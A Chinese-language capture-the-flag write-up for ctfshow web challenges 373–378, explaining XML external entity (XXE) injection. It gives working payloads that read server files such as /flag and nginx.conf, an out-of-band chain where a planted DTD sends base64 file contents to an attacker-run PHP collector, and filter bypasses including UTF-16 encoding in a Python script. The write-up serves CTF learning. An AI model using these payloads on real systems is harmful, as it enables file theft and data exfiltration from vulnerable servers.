![【ctfshow】web篇-XXE wp]()
前言
记录web的题目wp,慢慢变强,铸剑。
XXE
做XXE题目之前我们先了解一下XXE实体注入的原理和利用方法
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
![image-20210819141610681]()
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA,由于网上太多介绍就不详细说了
DTD(文档类型定义)
DTD(document type defined)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
而DTD的外部实体引用正是XXE漏洞诱因
首先写一个测试xml的文档的php代码
1 2 3 4 5 6
|
<?php $test=$_POST['xml']; $obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT); print_r($obj); highlight_file(__FILE__); ?>
|
完整实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
将我们刚刚的php代码利用burp抓包post传入内部声明形式输出看看,注意:要url编码一下,不然&无法被解析而报错
如下内部声明输出结果
![image-20210819142339515]()
1 2 3 4 5 6 7 8
|
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
![image-20210819142549954]()
同样编码一下,正常输出
![image-20210819142611233]()
由此,我们了解了基本的DTD内部和外部声明的使用
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
1 2 3 4 5 6 7
|
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"> ]>
<test>&writer;©right;</test>
|
post传进去看看输出结果,同样正常输出
![image-20210819142830986]()
1 2 3 4 5 6
|
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> ]> <author>&writer;©right;</author>
|
在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。
XXE的攻击方法
方法一:直接通过DTD外部实体声明
1 2 3 4 5
|
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///C:/1.txt"> ]> <xxe>&xxe;</xxe>
|
发包访问我C盘目录中1.txt文件
![image-20210819143850362]()
方法二:通过DTD文档引入外部DTD文档,再引入外部实体声明,由于普通的引入外部实体声明就不说了,直接说如果不回显怎么办
![image-20210819144644467]()
当我们本地将php代码中的回显给关了,那我们怎么获取当前电脑的c:/1.txt文件呢?很简单,直接在公网域名上构造第一个php文件x.php
1 2 3 4 5 6 7
|
<?php $content = $_GET['1']; if(isset($content)){ file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content); }else{ echo 'no data input'; }
|
和第二个xxe.xml
的外部实体文档
1 2 3 4
|
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/xml/x.php?1=%file;'" > %all;
|
![image-20210819145202712]()
接着构造一个payload
1 2 3 4 5 6 7
|
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xml/xxe.xml"> %remote; %send; ]>
|
post传参发包,发现生成了一个flag.txt
![image-20210819145349842]()
接着我们就得到1.txt的base64的形式,解码一下,就可以得到其中的内容
![image-20210819145619095]()
支持的协议有哪些?
![image-20210819145646289]()
具体的根据情况会产生的危害:
1、读取任意文件
2、执行系统命令(expect需要扩展支持)
3、探测内网端口(利用http访问)
4、攻击内网网站等
web373
1 2 3 4 5 6 7 8 9 10 11
|
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; } highlight_file(__FILE__);
|
LIBXML_NOENT
:替换实体
LIBXML_DTDLOAD
:加载外部子集
有了上面的xxe知识,这题无过滤轻松
先找一下网站根目录,我都用外部实体注入做
1 2 3 4 5 6 7
|
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/nginx.conf"> <!ENTITY % remote SYSTEM "http://www.xxxx.com/html/xxe.xml"> %remote; %send; ]>
|
![image-20210819182448689]()
payload
1 2 3 4 5 6 7
|
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml"> %remote; %send; ]>
|
![image-20210819182643843]()
web374
1 2 3 4 5 6 7 8
|
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题是无回显,利用上题一样的方法
payload,抓包post发出去
1 2 3 4 5 6 7
|
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://www.hostname.com/html/xxe.xml"> %remote; %send; ]>
|
![image-20210819183906545]()
接着服务器拿flag
![image-20210819183925136]()
web375
1 2 3 4 5 6 7 8 9 10 11
|
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题过滤了version的声明,但是发现删掉一样可以执行
payload
1 2 3 4 5 6
|
<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml"> %remote; %send; ]>
|
web376
1 2 3 4 5 6 7 8 9 10 11
|
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
就是把头声明函数的大小写形式都禁了,继续上把payload
web377
1 2 3 4 5 6 7 8 9 10 11
|
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
过滤了http,这里利用utf-16编码绕过
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
import requests
url = 'http://cc69366f-f9e6-4a07-aac3-e4694d53b4e5.challenge.ctf.show:8080/' payload = """<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml"> %remote; %send; ]>"""
payload = payload.encode('utf-16') res = requests.post(url ,data=payload) print(res.text)
|
web378
一个登陆框,发现返回值是xml形式
![image-20210819192138583]()
直接内部实体注入payload
1 2 3 4 5 6
|
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY file SYSTEM "file:///flag"> ]> <user><username> &file;</username><password>&file;</password></user>
|
![image-20210819192234216]()
FROM:gylq.gitee Author:孤桜懶契
评论